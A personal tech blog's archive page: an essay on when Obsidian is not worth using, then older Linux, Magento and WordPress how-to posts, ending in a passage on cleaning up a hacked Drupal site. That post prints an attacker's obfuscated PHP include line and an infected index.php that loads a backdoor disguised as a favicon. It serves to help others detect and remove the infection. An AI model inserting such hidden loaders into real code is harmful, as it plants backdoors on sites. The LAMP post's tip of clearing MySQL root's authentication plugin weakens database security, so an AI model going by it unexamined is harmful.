eV@gabond: e-Xperience </IT>

You Probably Don't Need Obsidian: Here's When You Shouldn't Use It

2026-09-09T08:44:36.137+05:30

When Not to Use Obsidian: Why You May Not Need a Second Brain

Obsidian is one of the most powerful note-taking and knowledge-management applications available today. It can help you connect ideas, build a personal knowledge base, organize research, and create what productivity enthusiasts often call a “second brain.”

But there is a question that gets surprisingly little attention:

When should you NOT use Obsidian?

After spending considerable time exploring Obsidian tutorials, workflows, plugins, backlinks, graph views, and various “second brain” systems, I came to a fairly simple realization:

Obsidian is not automatically useful just because it is powerful.

In fact, for some people, using Obsidian can introduce more friction than value.

You may not need a second brain. You may simply need to think, decide, and get things done.

What Is Obsidian Actually For?

Obsidian is a local-first Markdown-based knowledge-management and note-taking application. One of its defining features is the ability to link notes together, allowing you to create a network of interconnected ideas.

This makes Obsidian particularly attractive to people who:

Think through writing
Conduct extensive research
Write articles, books, or academic papers
Need to retain large amounts of information
Frequently revisit old ideas
Want to connect concepts across different areas
Enjoy building personal knowledge systems

For these users, Obsidian can be incredibly useful.

But there is an important distinction:

A powerful tool is not necessarily the right tool for everyone.

You Don't Need Obsidian to Be Productive

One of the biggest problems with modern productivity culture is that we sometimes start looking for tools before identifying the actual problem.

We download:

Obsidian
Notion
Todoist
Evernote
task managers
calendar systems
habit trackers
AI assistants

And eventually spend more time maintaining our productivity systems than actually doing productive work.

Obsidian can easily become part of this trap.

You create folders.

Then tags.

Then templates.

Then properties.

Then dashboards.

Then plugins.

Then a sophisticated linking system.

Eventually, you have built an impressive knowledge-management system.

But you have to ask:

Is the system actually helping you think or work better?

If the answer is no, the system has become the work.

If You Don't Regularly Think, Write, or Plan in Text, Obsidian May Feel Useless

This is probably the most important point.

Obsidian is fundamentally a text-based thinking environment.

If you naturally process your thoughts by writing things down, Obsidian can feel almost magical.

You write an idea.

You expand it.

You connect it to another idea.

You discover an old note.

That old note changes how you understand the new one.

Over time, your notes become an interconnected body of knowledge.

But what if you don't think this way?

What if your natural process is:

Think → understand → decide → act

rather than:

Think → write → organize → link → revisit → rethink → decide

In that case, Obsidian may feel like unnecessary work.

And that's perfectly fine.

Some People Are Doers, Not External Thinkers

This is something productivity discussions often overlook.

Some people think primarily by externalizing their thoughts.

They need to write something down before they understand it.

For them, writing is part of thinking.

Other people can hold a problem in their head, mentally explore the possibilities, reach a conclusion, and move directly into execution.

Neither approach is inherently better.

They are simply different cognitive styles.

If you are naturally an internal thinker, forcing yourself to document every thought can actually slow you down.

You may find yourself thinking:

“Why am I writing all this down? I already know what I think.”

That's a legitimate objection.

Obsidian Can Become Friction

The word friction is important here.

Every tool introduces some amount of friction.

You have to:

Open the application.
Decide where something belongs.
Create or find a note.
Write the information.
Format it.
Add links or tags.
Maintain the system.
Eventually find and review it.

If the resulting benefit is greater than that effort, the tool is worthwhile.

If not, you've created bureaucracy around your own thinking.

For example, imagine you suddenly have an idea for a business.

You could simply think about it.

Or you could open Obsidian, create a note called:

Business Idea – XYZ

Then add properties:

status: idea

category: business

source: personal

Then create links to other notes.

Then add tags.

Then decide whether it belongs under Projects, Areas, Resources, or Archives.

At some point you have to ask:

Did all of that improve the idea?

Sometimes the answer will be yes.

Often it won't.

The “Second Brain” Problem

You may have heard the term second brain while researching Obsidian.

The basic idea is simple:

Store your knowledge, ideas, notes, insights, and information outside your biological brain so that you can retrieve and connect them later.

It sounds wonderful.

And there is definitely value in external memory.

But the phrase can also create unrealistic expectations.

A note-taking application is not actually another brain.

It doesn't understand your notes in the same way you do.

It doesn't automatically know:

Which ideas matter
Which information is outdated
Which ideas contradict each other
What you should do next
Which opportunity is worth pursuing
What your intuition is telling you

It stores information.

You still have to think.

When a Second Brain Actually Makes Sense

The second-brain concept isn't nonsense. It can be extremely useful.

It makes particular sense if your work involves large amounts of information that you repeatedly need to retrieve.

For example:

Writers

Writers can store:

ideas
research
characters
references
quotations
outlines
drafts

Researchers

Researchers can maintain interconnected notes across years of research.

Students

Students can connect concepts from different subjects and revisit them later.

Programmers

Developers can document:

solutions to unusual problems
system architecture
commands
debugging discoveries
technical concepts

Consultants and knowledge workers

People who repeatedly solve similar problems can build a valuable library of previous solutions.

For these people, external memory can compound over time.

But that doesn't mean everyone needs one.

When You Probably Shouldn't Use Obsidian

Here are some situations where Obsidian may not be the best choice.

1. You Already Remember What Matters

If you rarely forget important information, you may not need a sophisticated personal knowledge base.

There's no reason to build an external memory system simply because somebody on YouTube told you that you should.

Use notes when you actually need notes.

2. You Think Better by Doing

Some people understand things by experimentation rather than documentation.

They learn by:

Try → fail → adjust → try again.

For these people, spending significant time documenting every learning experience can become counterproductive.

A short note containing the final lesson may be enough.

3. You Don't Revisit Your Notes

This is a major warning sign.

Suppose you've created 2,000 beautifully organized notes.

But you never read them again.

What have you actually built?

A digital archive.

Not a second brain.

If your notes aren't helping you make future decisions, solve future problems, or create something new, their value may be very limited.

4. You Are Building the System Instead of Using It

This is probably the biggest Obsidian trap.

You start watching:

“My Ultimate Obsidian Setup”

Then:

“The Best Obsidian Plugins”

Then:

“How I Built My Second Brain”

Then:

“My 2026 Obsidian Workflow”

Suddenly you're spending weekends redesigning your vault.

You haven't learned anything new.

You haven't completed an important project.

But your vault looks fantastic.

That's not productivity.

That's productivity about productivity.

5. You Need a Task Manager, Not a Knowledge Manager

Obsidian can be customised into a task-management system, but that doesn't mean you should.

If your primary problem is:

“I need to remember what I have to do today.”

You probably need a good task manager.

If your problem is:

“I need to understand how several ideas relate to each other.”

That's where Obsidian becomes much more interesting.

Don't use a knowledge-management tool to solve a task-management problem simply because it can technically do both.

6. You Prefer Simplicity

There is something underrated about having fewer systems.

A plain text file can sometimes be enough.

A notebook can be enough.

A Google Doc can be enough.

Your phone's notes application can be enough.

Even a piece of paper can be enough.

The best productivity system is not necessarily the most sophisticated one.

It is the one that gives you the desired result with the least unnecessary effort.

So, When IS Obsidian Worth Using?

For me, the answer isn't:

“Use Obsidian every day.”

It's:

Use Obsidian when writing creates value that thinking alone cannot create.

There are certain situations where deliberately slowing down is valuable.

1. Difficult Decisions

When the consequences are significant, writing can expose assumptions that remain invisible in your head.

You might create a simple note:

Decision: Should I pursue X?

Then write:

What am I trying to achieve?
What are my options?
What am I assuming?
What could go wrong?
What happens if I do nothing?
What would I regret not trying?
What does my intuition say?
What does the evidence say?

You don't need a complicated system.

You simply need somewhere to think.

2. Long-Term Projects

Some projects are too complicated to keep entirely in your head.

A long-running business project, website, research project, software project, or creative project may benefit from having a persistent record of:

decisions
discoveries
assumptions
problems
solutions
ideas

This is where Obsidian's interconnected notes can become genuinely useful.

3. Extracting Patterns From Experience

This is perhaps the most interesting use case.

Imagine you complete ten different projects over five years.

Individually, each project teaches you something.

But what if you recorded the important lessons?

Eventually you might notice:

“The projects that worked all had these three characteristics.”

That's much more valuable than simply remembering what happened.

You are turning experience into principles.

And this is where a personal knowledge base can become genuinely powerful.

4. Capturing Long-Term Leverage

Some ideas don't have immediate value.

You might think of an idea today that becomes useful two years later.

Without writing it down, it's probably gone.

This is where external memory can provide something your biological memory cannot:

persistence.

You don't need to capture everything.

Just the things you genuinely believe may matter later.

Obsidian as a Thinking Log, Not a Second Brain

If you are an internal thinker, there is another way to approach Obsidian.

Don't try to build a second brain.

Build a thinking log.

Instead of recording everything you learn, record things like:

Important decisions
Significant insights
Mistakes
Lessons
Business principles
Interesting ideas
Questions that don't have answers yet
Patterns you've noticed

That's it.

Your vault doesn't need to contain your entire intellectual life.

It only needs to contain things worth remembering.

A Better Obsidian Rule: Don't Capture Everything

One of the worst pieces of advice in knowledge management is:

“Capture everything.”

Why?

Because information is cheap.

Your attention isn't.

Instead, consider this rule:

Capture only what you expect your future self to find useful.

That's a much higher bar.

You don't need 10,000 notes.

You might need 200 excellent ones.

Or 50.

Or even 20.

Ignore the Graph View

If you're new to Obsidian, here's some advice that might save you considerable time:

Ignore the graph view.

At least initially.

Seeing hundreds of interconnected dots looks impressive.

But a beautiful graph doesn't mean you've built a useful knowledge system.

The value of Obsidian isn't the visualisation.

The value is what those connections help you understand, remember, or create.

Ignore the Plugin Rabbit Hole

Obsidian has an enormous plugin ecosystem.

That's both a strength and a weakness.

You can turn Obsidian into almost anything.

And that's precisely the problem.

You can spend days deciding:

Which calendar plugin?
Which task plugin?
Which dashboard?
Which theme?
Which metadata system?
Which AI plugin?
Which folder structure?
Which tagging strategy?

Before you know it, you're managing Obsidian instead of using it.

Start with plain Markdown notes.

If you encounter a genuine problem, solve that problem.

Don't install a plugin because someone says it's essential.

You Don't Need a Perfect Obsidian Setup

There is no perfect vault.

There is no universally correct folder structure.

There is no magical number of tags.

There is no perfect note-taking methodology.

And there is certainly no requirement to implement PARA, Zettelkasten, Johnny.Decimal, or somebody else's elaborate system.

Your system should emerge from your actual needs.

Not the other way around.

The Real Question Isn't “Should I Use Obsidian?”

Instead of asking:

“Should I use Obsidian?”

Ask:

“What problem do I currently have that Obsidian would solve?”

If you can't answer that question clearly, don't use it.

At least not yet.

And that's okay.

My Honest Verdict

You don't need Obsidian to be productive.

You don't need a second brain.

You don't need a sophisticated personal knowledge-management system.

You don't need hundreds of interconnected notes.

You don't even need a digital note-taking application.

If you already think clearly, make decisions effectively, remember what matters, and execute without needing to externalize everything, Obsidian may simply feel like friction.

That's not a failure of Obsidian.

And it's not a failure on your part.

It simply means the tool may not match your natural way of working.

However, there is one area where Obsidian—or any simple writing environment—may be worth keeping around:

To slow down when slowing down is valuable.

Use it when you need to sharpen your intuition.

Use it when a decision deserves more than a quick reaction.

Use it when you want to understand a pattern across years of experience.

Use it when you have an idea that you genuinely don't want to lose.

Use it when you want to capture long-term leverage.

Otherwise?

Close the app and get back to work.

Sometimes the best productivity system is no productivity system at all.

Final Thought

The internet has created an entire industry around helping us become more productive.

But productivity isn't about having more tools.

It's about producing better outcomes.

If Obsidian helps you think better, keep it.

If it helps you remember things that matter, keep it.

If it helps you discover connections you would otherwise miss, keep it.

But if you find yourself spending more time organizing your thoughts than having them, it's probably time to step back.

Your brain doesn't need to be replaced.

Sometimes it just needs a little space to think.

Frequently Asked Questions

Is Obsidian worth using?

Obsidian is worth using if you regularly need to write, organize, connect, and revisit information. If you already think clearly without extensive note-taking, Obsidian may provide little benefit and could introduce unnecessary friction.

Who should not use Obsidian?

People who don't regularly take or revisit notes, prefer simple tools, primarily need task management, or find elaborate knowledge-management systems distracting may not benefit from Obsidian.

Do I really need a second brain?

No. A second brain is a productivity concept, not a requirement. Externalizing information can be useful, but many people can work effectively using simple notes, memory, experience, and direct execution.

Is Obsidian difficult to learn?

The basic features of Obsidian are relatively straightforward, but its extensive customization options, plugins, linking systems, and knowledge-management methodologies can make it feel complicated.

What is an Obsidian second brain?

An “Obsidian second brain” generally refers to using Obsidian as an external knowledge system where ideas, information, notes, and insights are stored and interconnected for future retrieval and use.

What can I use instead of Obsidian?

Depending on your needs, alternatives include a simple text editor, a basic notes application, Google Docs, a task manager, a physical notebook, or another note-taking application. The best alternative depends on the problem you're actually trying to solve.

[SOLVED]: Yarn Debian Key Expiry Date Updated

2023-02-02T03:29:00.003+05:30

Solved by re-installing:

 curl -sS https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -  
 echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list  
 sudo apt update  
 sudo apt install yarn

Ref: https://linuxize.com/post/how-to-install-yarn-on-ubuntu-20-04/

[SOLVED] - Install phpMyAdmin & LAMP on Ubuntu 20.04 Desktop

2023-02-02T03:08:00.001+05:30

Install phpMyAdmin & Linux, Apache, MySQL/MariaDB & PHP [LAMP] on Ubuntu 20.04 desktop.

Below you will find the instructions that I myself have tried and successfully implemented on my system.

1. Install Apache Web Server

 sudo apt update  
 sudo apt install apache2

2. Install MariaDB

 sudo apt install mariadb-server  
 sudo apt install mariadb-client

After that, run the commands below to secure the MariaDB server by creating a root password, disallowing remote root access removing anonymous, and more.

 sudo mysql_secure_installation

 If you've just installed MariaDB, and haven't set the root password yet, you should just press enter here.  
 Enter current password for root (enter for none): PRESS ENTER  
 Switch to unix_socket authentication [Y/n] n  
 Change the root password? [Y/n] n  
 Remove anonymous users? [Y/n] y  
 Disallow root login remotely? [Y/n] y  
 Remove test database and access to it? [Y/n] y  
 Reload privilege tables now? [Y/n] y  
 All done!

3. Install PHP

 sudo apt install php7.4 php7.4-common php7.4-mysql php7.4-gmp php7.4-curl php7.4-intl php7.4-mbstring php7.4-xmlrpc php7.4-gd php7.4-xml php7.4-cli php7.4-zip

4. Install phpMyAdmin

 sudo apt install phpmyadmin

When prompted to choose the web server, select apache2 and continue.

When prompted again to allow web config-common to install a database and configure select Yes and press ENTER.

Then type and confirm a password.

After installing phpMyAdmin, open your web browser and browse to the server hostname or IP address followed by /phpmyadmin.

 http://localhost/phpmyadmin

If you encounter the following error implement the solution below to resolve the issue:

ERROR: mysqli_real_connect(): (HY000/1698): Access denied for user 'root'@'localhost'

Open your terminal and run the following commands:

 sudo mysql -u root

 use mysql;  
 update user set plugin='' where User='root';  
 flush privileges;  
 \q

Now the LAMP cum phpMyAdmin should be working for you.

>> Ref:

[SOLVED] Suspend-Resume Not Working in Ubuntu 20.04

2020-11-01T15:49:00.003+05:30

If you are unable to suspend your laptop, here's the solution which I've tried & tested and it worked with my Lenovo Thinkpad T440.

Open your terminal and enter the following commands:

>> Steps 1: Create backup of the following file 'logind.conf':

 sudo cp /etc/systemd/logind.conf /etc/systemd/logind-backup.conf

>> Steps 2: Depending upon the GUI based code editor you have, such as gedit, Geany etc or text based editor nano or the default vi enter the following command below. If you have & want to use Geany then you can replace vi with geany:

 sudo vi /etc/systemd/logind.conf

>> Steps 3: Step 3: Carefully navigate and make sure the following lines are changed to look like shown below. If the lines are commented (Example: #HandleSuspendKey=suspend), uncomment them.

 HandleSuspendKey=suspend  
 HandleLidSwitch=suspend  
 HandleLidSwitchDocked=suspend

>> Steps 4: Save the file.

>> Steps 3: Reboot & check. You can reboot from the terminal using the following command:

 sudo reboot

[Solved] - How to Find Composer Name of Mageplaza Paid Extensions - Magento 2

2020-06-28T17:19:00.004+05:30

Don't know why Mageplaza haven't still listed the composer name of their paid extensions. Look at the comment section of this tutorial: https://bit.ly/2Z9P7jC; you will see users asking for composer name, and still no solution is provided by them. Today I tried posting this solution as a comment in the aforementioned page, and each time my comment got deleted for reasons unknown to me. That's why I have decided to post this solution here.

The solution is very simple. Just download the extension, and look in the composer.json file. You will see a key/value pair entry as follows:

  "name": "mageplaza/module-search"

Here module-search is the composer name of the paid extension Ajax Search for Magento 2.

NOTE: If you are installing Mageplaza extensions for the first time via composer, make sure to run the following command first:

 $ composer config repositories.mageplaza composer https://repo.mageplaza.com

Setup WordPress CRON in Cloudways

2020-06-22T12:25:00.001+05:30

In this tutorial, I will show you, how to Setup CRON in your Cloudways Hosting Account for WordPress.

1. First you will have to disable WordPress's default CRON.Check this tutorial by Kinsta to know how to do it: https://bit.ly/37RQjvW.

 // Disable WordPress Default CRON  
 define('DISABLE_WP_CRON', true);

2. Log into your Cloudways account & go to the CRON Configuration page. You can do so by clicking on the following link: https://platform.cloudways.com/apps.

2. Select the App whose CRON you would like to setup.

3.1. Click on Cron Job Management
3.2. On the Cron Job Management page, click on ADVANCED
3.3. Add the following command to setup/enable Manual CRON.
NOTE:

Replace http://example.com with the name of your website
/5 signifies 5 minutes. You can replace it with 10 minutes or 15 minutes, if you are in a shared host
2>&1 disables email notifications after each CRON run

 */5 * * * *   wget -q -O - http://example.com/wp-cron.php?doing_wp_cron >/dev/null 2>&1

4. Finally click on SAVE CHANGES.

Manual CRON run should be setup in your site now.

You can install the WP-Cron Status Checker plugin to check whether CRON is running correctly or not.

Allow Clemetine Remote App Access in UFW [Uncomplicated Firewall]

2020-02-17T01:26:00.000+05:30

If you would like to use the Clementine Remote App with your Ubuntu system, then try the following steps:

Image 1

Image 2

Open Clementine
Open Preferences using the keyboard shortcut (CTRL+P) or open on Tools >> Preferences from the Clementine menu
Click on Network Remote tab on the left, and make note of the following two values:

Port
Your IP Address

In my case, my IP address was 192.168.0.113
Open your terminal, and enter the following command:
sudo ufw allow from 192.168.0.0/24 to any port 5500. Please note that if your IP is, say for example 192.168.1.20, then your terminal command should be as:
sudo ufw allow from 192.168.1.0/24 to any port 5500
Download the Clementine Remote app by clicking on the following link http://bit.ly/39CTNCo Play store. Now open the app, and you should be seeing a screen as shown in the Image 2 above. Enter your IP address & click on connect.
Now you should be able to remotely access your Clementine music player from your Clementine Remote App

[SOLVED] - Alibaba Cloud (ECS) - The Requested URL Could Not Be Retrieved. Unable to Access Website

2019-02-12T01:41:00.002+05:30

ERROR

The requested URL could not be retrieved

The following error was encountered while trying to retrieve the URL: http://149.x.x.1/

Connection to 149.x.x.1/ failed.

The system returned: (111) Connection refused

The remote host or network may be down. Please try the request again.

Your cache administrator is webmaster.

Solution

Today after restoring my snapshot to one of my Alibaba Cloud ECS instance; I was unable to access my website from my browser. I tried a lot of this and that but all in vain. Then finally, after much research, I read that the connection was getting refused by my Web Server, in my case the Apache Web Server.

Once I restarted, the Web Server, the website was accessible now.

Command to restart the Apache Web Server:

For Ubuntu:

 sudo service apache2 restart

For RHEL/CentOS 7:

 systemctl restart httpd

[SOLVED] - Fix Corrupt NTFS Parition In Ubuntu Using ntfs-3g, Without Using Windows OR fsck

2019-01-18T14:29:00.004+05:30

Since yesterday, I've been trying to backup my hard drive using Clonezilla but without any success. Twice I got the following error, when I tried to backup my full hard drive by using Clonezilla.


ntfsclone-ng.c: NTFS Volume '/dev/sda6/' is scheduled for a check or it was shutdown uncleanly. Please boot Windows or fix it by fsck

& I know why this issue has cropped up. Few days back I used GParted to expand my main ext4 partition that has Ubuntu installed on it by using a chunk from another NTFS partition.

>> SOLUTION:

Here's what worked for me. Open your terminal [CTRL+ALT+T]:

1. First list all the partition in your hard drive.

 df -h

You should be getting a list of parition as shown in the image below. In my case, the NTFS parition is '/dev/sda6.'

Click on image to enlarge

2. Now unmount the NTFS partition using the following command. Please note, the command is 'umount' and not 'unmount.'

 sudo umount /dev/sda6

3. If you do not have ntfs-3g installed, you can install it using the following command:

 sudo apt-get install ntfs-3g

4. Now run the ntfs-3g command to check/repair your corrupt/problematic NTFS partition:

 sudo ntfsfix -b -d /dev/sda6

here,

b: clear-bad-sectors -- Clear the bad sector list
d: clear-dirty -- Clear the volume dirty flag

5. If the CHECK/REPAIR operation is successful, you should be getting a message as shown in the image below:

Click on image to enlarge

>> REF: Fix corrupt NTFS partition without Windows

[SOLVED]: Module 'Amasty_Base' from 'app/code/Amasty/Base' has been already defined in 'vendor/amasty/base'

2018-12-27T19:36:00.000+05:30

If you have been trying to install Amasty Extension(s) in your Magento 2 installation by using SSH, and run into this error 'Module 'Amasty_Base' from 'app/code/Amasty/Base' has been already defined in 'vendor/amasty/base'', use the solution below to resolve your issue.

This issue occurs if you have installed Amasty Extension(s) manually and the 'Amasty Base' file already exists inside the directory 'app/code/Amasty/Base.' & later when you try to install another Amasty extension using SSH, composer will notice this file in app/code and hence the error. Composer creates the 'Base' directory in the following location 'vendor/amasty/base'.

>> SOLUTION:

1. Go to the root directory of your Magento Installation.
2. Enter the following commands:

1:  composer remove amasty/composer_name_of_your_extension  
2:  rm -rf app/code/Amasty/Base  
3:  rm -rf vendor/amasty/base  
4:  composer dump-autoload

3. Now INSTALL your Amasty Extension by running the following command:

1:  composer require amasty/composer_name_of_your_extension  
2:  php bin/magento setup:upgrade  
3:  php bin/magento setup:di:compile  
4:  php bin/magento setup:static-content:deploy

NOTE:

To find the composer name of your extension:

Log into your Amasty Account
Goto to My Downloads page and look under Composer Name column. See image below to get an idea.

Click on image to enlarge

[SOLVED]: Same Web Property ID Is Tracked Twice | Google Tag Manager | Magento 2

2018-12-21T19:54:00.000+05:30

Click on image to enlarge

If your Tag Assistant is firing this warning 'Same web property ID is tracked twice' while testing in your Magento 2 site, then it's because you've enabled Google Analytic in your Magento store backend, and also in Google Tag Manager.

SOLUTION: Enable Google Analytics tracking either from your site's backend or by using Google Tag Manager, but not both.

Click on image to enlarge

If you want to use Google Tag Manager for Google Analytics then disable tracking from your site's backend.

Third Party IT Repair Services & Tech Support Ads Banned By Google Ads

2018-11-24T21:03:00.000+05:30

Today while trying to launch some PPC Campaign for a Repair Service for my business, I was met by a RUDE SHOCK due to a policy change in Google Ads.

Each time I tested keywords such as 'iphone repair dubai' 'data recovery dubai', I was greeted with this unfamiliar message 'This candidate is not permitted to show ads in your targeted location.', as shown in the image below:

Click on image to enlarge

After much searching and researching, I finally found out that IT Repair Services, Tech Support, both online or offlline has been banned by Google Ads globally for any 3rd party company. Meaning unless you are the real vendor/manufacturer of the product, you aren't allowed to display Ads providing service or support for that product. Please check the links I've listed below for further clarification. Hard pill to swallow, leave alone digest, but that's what seems to be the case at the moment. And I guess this is the result of all those Indian Tech Scammers, who have been targeting mostly Americans. Because of them now all have to suffer! :-(

Click on image to enlarge

References:

[SOLVED] - Thunderbird Could Not Get Password - Fix for Ubuntu/Linux

2018-09-03T11:39:00.001+05:30

If you have been getting the following error "Thunderbird Could Not Get Password," and because of this have been unable to log into your Email Account or Send Emails, you can try the solution below that worked for me.

>> Close your Thunderbird Email Client. Goto your Home folder and Press CTRL+H to view hidden folders, or in your Menu, goto View >> Show Hidden Files.

Click on image to enlarge

>> Click on the .thunderbird folder.

Click on image to enlarge

>> Click on the shbh8pem.default folder.

Click on image to enlarge

>> DELETE the following two files as highlighted in the image above:

cert8.db
key3.db

>> Now OPEN Thunderbird and press F5 to Send/Receive Emails. If it prompts for a password enter it.

>> Try SENDING an Email from. If it prompts for a password enter it.

>> If the above solution doesn't work, RESTART your system, and repeat the steps above.

>> Your problem should have been resolved now.

Learn in 10 Seconds How to Easily Copy Same Data Across Multiple Cells in LibreOffice Calc

2018-07-25T15:34:00.003+05:30

Here's a very easy way that I've found with which you can easily copy same data across multiple cells.

If you are COPYING TEXT, then you don't need to press any keys. But if you would like to COPY Numbers across cells, then press CTRL key while dragging the mouse, as shown in the video.

Check Disk Space Usage from Terminal in Ubuntu/Linux

2018-05-27T15:43:00.000+05:30

To view disk space usage of your partitions/hard drive in your terminal, use the following command:

 df -h

You should get result as shown in the image below:

Click on image to enlarge

[SOLVED] - Delete Categories in Magento 2 using MySQL & phpMyAdmin

2018-05-20T10:35:00.000+05:30

You can use the SQL code below to DELETE your Categories in your Magento 2 installation. It will reset your categories to as it was after a fresh installation.

Copy the code below and execute it as shown in the image:

Click on image to enlarge

Successfully Install Porto/Magento 2 Theme Quick Start Package

2018-05-18T17:38:00.000+05:30

This was the second time I was using Porto/Magento 2 theme in one of my project. The instruction provided in their documentation to install their Quick Start Package is not at all clear, and doesn't help at all. So, after some trial and error, I have found the following steps to work me, and sharing it with everybody here:

First Install a fresh copy of Magento with no sample data. Make sure your Magento's Version matches Porto's Quick Start Package version, else you will get error. Do not use table_prefix in your database. You can create table_prefix later on after successfully installing the Quick Start package.
After installing Magento, now unzip the Quick Start Package zip file in your Magento root folder.
Import the database provided with your Quick Start Package File. Don't use any table_prefix because the Quick Start Package database doesn't have any, and you will encounter errors if you use one.
Check whether the base-url in the core_config table are correct. If not set them to the admin-url you set in Step 1 during the Magento Installation process.

Click on image to enlarge
Delete the following folder/files using the command below:
```
 rm -rf var/di/* var/generation/* var/cache/* var/page_cache/* var/view_preprocessed/* var/composer_home/cache/*   
```
If in localhost, you might have to use sudo to exectute the commands.
Run the following command:
```
 php bin/magento setup:di:compile  
```
It will compile and generate the factory class and depended proxy classes. Also, if in localhost run the following command
```
 sudo chown -R www-data:www-data magento-folder  
```
Clean your site cache.
The admin login that you created in Step 1 might not work now after importing Porto's Quick Start Package database, so create a new one using this tutorial: Create Admin User from Terminal in Magento 2.x.
Activate SW Extensions, open command line in folder root of magento and run commands via ssh using putty or others, php bin/magento setup:upgrade.
Log into your site's backend and Select Smartwave Porto theme in Stores > Configuration > General > Design > Design Theme > Design Theme for Magento 2.0.x version, and select Smartwave Porto theme in Content > Design > Configuration page for Magento 2.1.x version. You can select Smartwave Porto RTL theme, if you want to build a RTL site.

Download Ubuntu 18.04 Bionic Beaver Virtual Disk Image (VDI) File for VirtualBox

2018-05-14T02:06:00.000+05:30

I was trying Ubuntu 18.04 today on my VirtualBox, and created this VDI file. Sharing it with all here:

Download Link: Ubuntu 18.04 VDI File
Username: virtualbox
Password: ubuntu1804

NOTE:

VB Guest Addition Tool is not installed. So you will have to install it.
Variety wallpaper & Cairo Dock app has been installed as bonus.

Upgrade/Update Magento 2x Using Web Setup Wizard

2018-05-13T20:13:00.000+05:30

NOTE: Depending on your server's computing power, the upgrading time may vary. For me it took a good 15-17 mins. I have trimmed/edited the video to shorten the process. So, once the check are successful and you START the UPGRADING PROCESS, do not terminate it, unless the whole process is complete and you see a SUCCESS message as shown in the end of this video.

[SOLVED] - How my Drupal Site Got Hacked & How I Cleaned/Fixed it

2018-05-03T13:37:00.001+05:30

NOTE: This solution is only possible if you have a clean backup of your website. You can still continue to read it and see if you can apply the various recommended solution here, and clean-up your site.

The Hack - How it happened

One of my Drupal site recently got compromised due to a security exploit in the Drupal core itself, you can read about the exploit here in detail: Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. In my 8 years of using Drupal this was the first time I experienced such a severe attack. In fact this exploit/attack was so considered to be so sever that it was given the nomenclature, Drupalggedon Version 2.

It took me a good one week to fully clean my site, and now it's almost a week past the cleanup stage and I haven't heard from the attacker any more :-D. During the site cleanup process, I have learned many new and important security techniques, which I would like to share through this post with the hope that it might help someone too.

I became aware of the attack, after my webhost downed and informed me about a malware attack on my site. They sent me the following mail informing me about the hack:

Click on image to enlarge

The hacker was able to make a backdoor entry and perform remote code executions due to which large number of emails were being sent from my hosting account. Also he or she or God knows who (the hacker) had inserted obfuscated PHP code in my the 'index.php' file of my Drupal Installation's and also created several index.php files inside following Drupal directories:

cgi-bin
profiles
sites
sites/default and various other folders

The said attacker could have been a bot also (because somewhere I read, the attack can be automated).

Since my traffic flow is quite small, I use a shared hosting account to host my personal website and projects. Currently I host about four websites in this server by making use of Addon Domains. Almost all the four websites were affected by this intrusion. Amongst the four websites, one website was using Drupal, one was using Wordpress, and two of the remaining websites were static websites.

NOTE: Please note that it is strongly suggested, where ever possible, you host each one of your website in a separate server. From a security standpoint this is the best option for obvious reasons because from my case itself you can see, when one website got compromised, all other websites suffered the same fate.

So inspecting the file system of my websites here's what I found out. With Drupal and Wordpress installations I found out that the index.php, wp-config.php, wp-settings.php files were infected with addition of obfuscated PHP codes. Below you can see how the 'index.php' file of my Drupal 7 site was infected by the addition of a single line of obfuscated PHP code:

Obfuscated PHP Code

 /*df226*/   
  @include "\x2fho\x6de/\x6dar\x70ai\x6ef/\x70ub\x6cic\x5fht\x6dl/\x63li\x65nt\x2dde\x6do/\x73ac\x6bid\x2fmi\x73c/\x66av\x69co\x6e_c\x63b9\x393.\x69co";   
  /*df226*/   
  /**

You can decode the obfuscated PHP code using the following site: Online PHP Script Decoder

Decrypting the above obfuscated PHP code, the code below is what I got, and from it I found out that that the hacker had placed a favicon file called 'favicon_ccb993.ico' inside the directory called 'misc'.

Decrypted Obfuscated PHP Code

 @include "/home/marpainf/public_html/client-demo/sackid/misc/favicon_ccb993.ico";

But the most important thing to note here is that, this favicon file is not really a favicon file. It's a PHP file, just faked as a favicon file. Just rename the favicon file by replacing the '.ico' extension with a .php extension, for example 'favicon_ccb993.php', and open the file, and you will know what I mean. You can view the decrypted favicon_ccb993.ico file here: http://bit.ly/2HPfNwm

Infected Drupal 7 index.php file

 <?php  
 /*df226*/  
 @include "\x2fho\x6de/\x6dar\x70ai\x6ef/\x70ub\x6cic\x5fht\x6dl/\x63li\x65nt\x2dde\x6do/\x73ac\x6bid\x2fmi\x73c/\x66av\x69co\x6e_c\x63b9\x393.\x69co";  
 /*df226*/  
 /**  
  * @file  
  * The PHP page that serves all page requests on a Drupal installation.  
  *  
  * The routines here dispatch control to the appropriate handler, which then  
  * prints the appropriate page.  
  *  
  * All Drupal code is released under the GNU General Public License.  
  * See COPYRIGHT.txt and LICENSE.txt.  
  */  
 /**  
  * Root directory of Drupal installation.  
  */  
 define('DRUPAL_ROOT', getcwd());  
 require_once DRUPAL_ROOT . '/includes/bootstrap.inc';  
 drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);  
 menu_execute_active_handler();

The Fix/Cleanup:

1. Allow only yourself to access your site and block all other access

First and foremost, open up your .htaccess file and enter the following code. This will block access to all your websites excepting yourself, allowing you to perform your site's cleanup process without any worry of any further attack. This .htaccess file should exist right inside your site's Document Root folder.

 # Deny access to all users except yourself  
 deny from all  
 allow from enter_your_ip_here

2. Revert to a clean old backup and update your Drupal core to the latest version

Reverting to an old backup is highly recommended, in fact a must, because as per my research it's very difficult to clean an already compromised site and trace the numerous backdoor entry-points the hacker might have created. That's why the safest bet is to go with a clean backup rather than try and update an already compromised site.

3. Update your site to the latest Drupal release

This process is also very important, because no matter how much I reverted to my old backup copy the hacker managed to attack my site. And in my case when I began my cleanup process, Drupal still hadn't release a solution viz. Drupal 7.59. Only after this fix was release, which was about 2-3 days from the time my site was attacked, and after I finished updating to this release from Drupal, the exploit stopped.

4. Install Drupal Security Contrib Modules

I have also installed the following contrib modules that helps enhance your Drupal site's security:

Security Review

The Security Review module automates testing for many of the easy-to-make mistakes that render your site insecure.

Paranoia

The Paranoia module attempts to identify all the places that a user can evaluate PHP via Drupal's web interface and then block those. It reduces the potential impact of an attacker gaining elevated permission on a Drupal site.

MD5 Check

The MD5 Check generates a md5 checksum of all module files. If module is changed a critical security error is generated in watchdog log. This module should only used in production environments.

Hacked

